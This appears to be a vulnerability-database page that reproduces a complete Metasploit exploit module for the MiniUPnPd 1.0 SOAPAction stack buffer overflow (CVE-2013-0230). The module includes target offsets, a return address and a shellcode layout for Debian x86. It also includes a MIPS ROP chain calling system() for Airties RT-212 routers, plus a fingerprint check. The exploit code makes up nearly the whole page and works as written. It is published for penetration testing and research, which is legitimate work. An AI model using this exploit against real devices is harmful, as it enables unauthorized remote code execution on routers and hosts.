Lucene search
K

MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution

MiniUPnPd 1.0 SOAP stack buffer overflow vulnerability exploi

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  Rank = NormalRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
      'Description'    => %q{
          This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
        present in the SOAPAction HTTP header handling.
      },
      'Author'         =>
        [
          'hdm', # Vulnerability discovery
          'Dejan Lukan', # Metasploit module, debian target
          'Onur ALANBEL', # Expliot for Airties target
          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module, Airties target
        ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' => { 'EXITFUNC' => 'process', },
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_MIPSBE],
      'References'     =>
        [
          [ 'CVE', '2013-0230' ],
          [ 'OSVDB', '89624' ],
          [ 'BID', '57608' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
        ],
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'  =>
        [
          [ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
            {
              'Ret'    => 0x0804ee43, # pop ebp # ret # from miniupnpd
              'Offset' => 2123,
              'Arch'   => ARCH_X86,
              # the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
              # input, which is why it can't be part of the shellcode (otherwise the vulnerable part
              # of the program is never reached)
              'Payload'        =>
                {
                  'Space' => 2060,
                  'BadChars' => "\x00\x22"
                },
              :callback => :target_debian
            }
          ],
          [ 'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',
            {
              'Offset'      => 2048,
              'LibcBase'    => 0x2aabd000,
              'System'      => 0x00031AC0,
              'CallSystem'  => 0x0001CC94, # prepare $a0 and jump to $s0
              'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',
              'Arch'        => ARCH_MIPSBE,
              :callback     => :target_airties
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => '2013-03-27',
    ))

    register_options([
      Opt::RPORT(5555),
    ])

    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end

  def check
    begin
      res = send_request_cgi({
        'method'	=> 'POST',
        'uri'		 => '/'
      })
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Safe
    end

    fingerprints = targets.collect { |t| t['Fingerprint'] }
    fingerprints.delete(nil)

    if res && fingerprints.include?(res.headers['Server'])
      vprint_status("Fingerprint: #{res.headers['Server']}")
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    unless self.respond_to?(target[:callback])
      fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')
    end

    self.send(target[:callback])
  end

  def target_debian
    #
    # Build the SOAP Exploit
    #
    # jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
    sploit	= "\xeb\x2d"

    # a valid action
    sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"

    # payload
    sploit += payload.encoded

    # nops
    sploit += rand_text(target['Offset'] - sploit.length - 16)

    # overwrite registers on stack: the values are not used, so we can overwrite them with anything
    sploit += rand_text(4)		 # overwrite EBX
    sploit += rand_text(4)		 # overwrite ESI
    sploit += rand_text(4)		 # overwrite EDI
    sploit += rand_text(4)		 # overwrite EBP

    # Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
    # stack points directly to the string after 'Soapaction: ', which is why we must
    # throw the first value on the stack away, which we're doing with the pop ebp
    # instruction. Then we're returning to the next value on the stack, which is
    # exactly the address that we want.
    sploit += [target.ret].pack('V')

    # the ending " character is necessary for the vulnerability to be reached
    sploit += "\""

    # data sent in the POST body
    data =
      "<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
      "<SOAP-ENV:Envelope\r\n" +
      "	SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
      "	xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
      "	xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
      ">\r\n" +
      "<SOAP-ENV:Body>\r\n" +
      "<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
      "</ns1:action>\r\n" +
      "</SOAP-ENV:Body>\r\n" +
      "</SOAP-ENV:Envelope>\r\n"

    #
    # Build and send the HTTP request
    #
    print_status("Sending exploit to victim #{target.name}...")
    send_request_cgi({
      'method'	=> 'POST',
      'uri'		 => "/",
      'headers' => {
        'SOAPAction' => sploit,
      },
      'data'		=> data,
    })

    # disconnect from the server
    disconnect
  end

  def target_airties
    print_status("Sending exploit to victim #{target.name}...")
    execute_cmdstager(
      :flavor  => :echo
    )
  end

  def execute_command(cmd, opts)
    # Build the SOAP Exploit
    # a valid action
    sploit = "n:schemas-upnp-org:service:WANIPConnection:1#"
    sploit << rand_text_alpha_upper(target['Offset'])
    sploit << [target['LibcBase'] + target['System']].pack("N")      # s0 - address of system
    sploit << rand_text_alpha_upper(24)                              # $s1 - $s6
    sploit << [target['LibcBase'] + target['CallSystem']].pack("N")
    # 0001CC94 addiu   $a0, $sp, 0x18
    # 0001CC98 move    $t9, $s0
    # 0001CC9C jalr    $t9
    # 0001CCA0 li      $a1, 1

    sploit << rand_text_alpha_upper(24)                              #filler
    sploit << cmd

    # data sent in the POST body
    data =
      "<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
      "<SOAP-ENV:Envelope\r\n" +
      "	SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
      "	xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
      "	xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
      ">\r\n" +
      "<SOAP-ENV:Body>\r\n" +
      "<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
      "</ns1:action>\r\n" +
      "</SOAP-ENV:Body>\r\n" +
      "</SOAP-ENV:Envelope>\r\n"

    send_request_cgi({
      'method'	=> 'POST',
      'uri'		 => '/',
      'headers' =>
        {
          'SOAPAction' => sploit,
        },
      'data'		=> data
    })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation